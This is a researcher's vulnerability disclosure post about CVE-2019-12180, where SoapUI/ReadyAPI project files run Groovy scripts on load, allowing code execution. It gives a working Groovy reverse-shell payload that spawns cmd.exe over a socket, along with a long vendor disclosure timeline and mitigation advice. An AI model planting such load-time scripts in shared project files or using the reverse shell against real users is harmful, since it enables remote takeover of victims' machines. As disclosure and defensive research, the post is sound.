In early 2019, I had to pentest a couple of SOAP WebServices of a client and, as usual, I requested them some example requests as a baseline for my analysis. The client suggested to use a SoapUI / ReadyAPI project instead of giving to me single XML example requests: a good way to keep everything organized in a comprehensive way.

I had only a very basic experience with SoapUI at that time (and still is the same…), because I never used it for more than parsing a WSDL descriptor or organize basic requests for my tests (I do everything using BurpSuite).

However, that day something caught my attention: I noticed that the web service I was testing required the current date to work, otherwise it would return an error. So, I asked myself how my SoapUI project could know how to calculate the correct date every time the test case is launched or, more generally, add dynamic generated data to test case requests: the answer is the Apache Groovy Language script.

Groovy Expression inside Test Case

Apache Groovy is an Expression Language and this immediately reminded me of many Web vulnerabilities (https://portswigger.net/kb/issues/00100f20_expression-language-injection).

After some basic testing, I figured out that the programs (either SoapUI and ReadyAPI) allow to execute OS commands with no restrictions everywhere the EL code is permitted and interpreted. Woah, not bad for an “innocent” XML project.

However, imagining a phishing attack scenario, sending a project with a malicious payload inside test case requests would require user interaction to trigger the payload. While this would still be a vulnerability, I wouldn’t consider it really “exploitable”.

Luckily for us, both SoapUI and ReadyAPI offer a nice feature that can be (ab)used for our goal of limiting to the bone the user interaction required for our attack: the “LoadScript” project setting (con:afterLoadScript element of the XML project file).

“Load Script” feature

As the names suggests, these scripts are executed every time the project is loaded and also when it’s imported for the first time, making our attack really “exploitable”!

Calc.exe PoC:

Calc.exe PoC

Example payload to execute a reverse shell (Windows):

//Pure Groovy shell: https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76 String host="localhost"; int port=8044; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); 1 2 3 4 5 //Pure Groovy shell: https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76 String host = "localhost" ; int port = 8044 ; String cmd = "cmd.exe" ; Process p = new ProcessBuilder ( cmd ) . redirectErrorStream ( true ) . start ( ) ; Socket s = new Socket ( host , port ) ; InputStream pi = p . getInputStream ( ) , pe = p . getErrorStream ( ) , si = s . getInputStream ( ) ; OutputStream po = p . getOutputStream ( ) , so = s . getOutputStream ( ) ; while ( ! s . isClosed ( ) ) { while ( pi . available ( ) > 0 ) so . write ( pi . read ( ) ) ; while ( pe . available ( ) > 0 ) so . write ( pe . read ( ) ) ; while ( si . available ( ) > 0 ) po . write ( si . read ( ) ) ; so . flush ( ) ; po . flush ( ) ; Thread . sleep ( 50 ) ; try { p . exitValue ( ) ; break ; } catch ( Exception e ) { } } ; p . destroy ( ) ; s . close ( ) ;

Shell PoC:

Shell PoC

Note: a similar behavior can be obtained using the “SaveScript” feature, that triggers the script once the project is saved. Also, there are plenty of “minor insertion points” to achieve command execution, but they require user interaction (e.g.: project properties, custom properties, variables…). Basically, every scriptable property/variable/configuration can be a valid place to insert your payload.

At the time of writing, this is a 0day vulnerability, since (multiple) proposed disclosure dates have passed with no patch release by the vendor.

To avoid potential exploitation, before loading project files, open them with a text editor and check for suspicious Groovy Scripts, especially in <con:afterLoadScript> and <con:afterLoadScript> elements.

Disclosure timeline:

2019-02-01 - First contact (issue in ReadyAPI v2.6.0 & SoapUI v5.4.0). 2019-02-07 - Support created case (as Feature Request, not Security Issue). 2019-02-12 - Vendor released SoapUI v5.5.0. 2019-02-14 - First PoC sent to the vendor. 2019-02-20 - Evaluated as "Expected Behavior" by support. 2019-02-22 - Support agreed to evaluate as a Security Issue. 2019-02-25 - Proposed to set disclosure date after 90 Days (2019-05-25). 2019-02-28 - Developer team also agreed to evaluate as Security Issue. However there is "no ETA for Feature Request". 2019-05-16 - Asked for an update on the fix. Answer was "unfortunately feature requests don't have an ETA" and "keep an eye on the release notes to check on the implementation of the feature". 2019-05-17 - Warned that the advisory will be published on the agreed date since the issue is considered a "Feature Request". 2019-05-17 - Answer is that "[this is not a] feature or intended behaviour, but an improvement, hence the developer considers this to be a feature request." 2019-05-19 - CVE Requested from Mitre (CVE-2019-12180). 2019-05-24 - Extended the deadline for the release of the advisory by two weeks since no fix available (new date 2019-06-07) 2019-06-01 - Vendor released ReadyAPI 2.7.0, saying that the issue is resolved. 2019-06-10 - Warned that the issue is still present in the new version and asked for an update on the fix. 2019-06-12 - Support said that the issue will be discussed in the development meeting the same day. 2019-06-20 - Asked for an update. 2019-06-20 - Support said that a Jira issue with "CRITICAL" priority was created. They agreed to keep us posted when the issue is fixed. 2019-07-11 - Asked for an update again. 2019-07-11 - Again, answer was that they will keep us posted when they fix the issue. 2019-08-01 - Vendor relased ReadyAPI 2.8.0. 2019-10-11 - Tested the bug on Ready API 2.8.2: still working as expected. 2019-10-14 - Warned that the advisory will be published on 2019-10-17 since there was no update for the last 3 months. 2019-10-16 - Gail Shlansky (Director API Product Management) contacted us directly, asking for a delay: "We are so sorry for not responding sooner but it was marked as a feature request rather than a bug so it didn't get the appropriate attention" and "[...] we would like to request that this security advisory be delayed until we are able to release this enhancement early in 2020". 2019-10-16 - Agree to extend the deadline for the release of the advisory by 3 Months and 15 days (new date 2020-02-01 - 1 year after first contact). 2019-12-12 - Vendor released ReadyAPI 3.0.0, issue still not fixed. 2020-02-04 - Advisory & PoC released. No remediation available yet. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 2019-02-01 - First contact (issue in ReadyAPI v2.6.0 & SoapUI v5.4.0). 2019-02-07 - Support created case (as Feature Request, not Security Issue). 2019-02-12 - Vendor released SoapUI v5.5.0. 2019-02-14 - First PoC sent to the vendor. 2019-02-20 - Evaluated as "Expected Behavior" by support. 2019-02-22 - Support agreed to evaluate as a Security Issue. 2019-02-25 - Proposed to set disclosure date after 90 Days (2019-05-25). 2019-02-28 - Developer team also agreed to evaluate as Security Issue. However there is "no ETA for Feature Request". 2019-05-16 - Asked for an update on the fix. Answer was "unfortunately feature requests don't have an ETA" and "keep an eye on the release notes to check on the implementation of the feature". 2019-05-17 - Warned that the advisory will be published on the agreed date since the issue is considered a "Feature Request". 2019-05-17 - Answer is that "[this is not a] feature or intended behaviour, but an improvement, hence the developer considers this to be a feature request." 2019-05-19 - CVE Requested from Mitre (CVE-2019-12180). 2019-05-24 - Extended the deadline for the release of the advisory by two weeks since no fix available (new date 2019-06-07) 2019-06-01 - Vendor released ReadyAPI 2.7.0, saying that the issue is resolved. 2019-06-10 - Warned that the issue is still present in the new version and asked for an update on the fix. 2019-06-12 - Support said that the issue will be discussed in the development meeting the same day. 2019-06-20 - Asked for an update. 2019-06-20 - Support said that a Jira issue with "CRITICAL" priority was created. They agreed to keep us posted when the issue is fixed. 2019-07-11 - Asked for an update again. 2019-07-11 - Again, answer was that they will keep us posted when they fix the issue. 2019-08-01 - Vendor relased ReadyAPI 2.8.0. 2019-10-11 - Tested the bug on Ready API 2.8.2: still working as expected. 2019-10-14 - Warned that the advisory will be published on 2019-10-17 since there was no update for the last 3 months. 2019-10-16 - Gail Shlansky (Director API Product Management) contacted us directly, asking for a delay: "We are so sorry for not responding sooner but it was marked as a feature request rather than a bug so it didn't get the appropriate attention" and "[...] we would like to request that this security advisory be delayed until we are able to release this enhancement early in 2020". 2019-10-16 - Agree to extend the deadline for the release of the advisory by 3 Months and 15 days (new date 2020-02-01 - 1 year after first contact). 2019-12-12 - Vendor released ReadyAPI 3.0.0, issue still not fixed. 2020-02-04 - Advisory & PoC released. No remediation available yet.

Link to Advisory: https://lab.mediaservice.net/advisory/2020-04-readyapi-soapui.txt

Link to PoC: https://github.com/0x-nope/CVE-2019-12180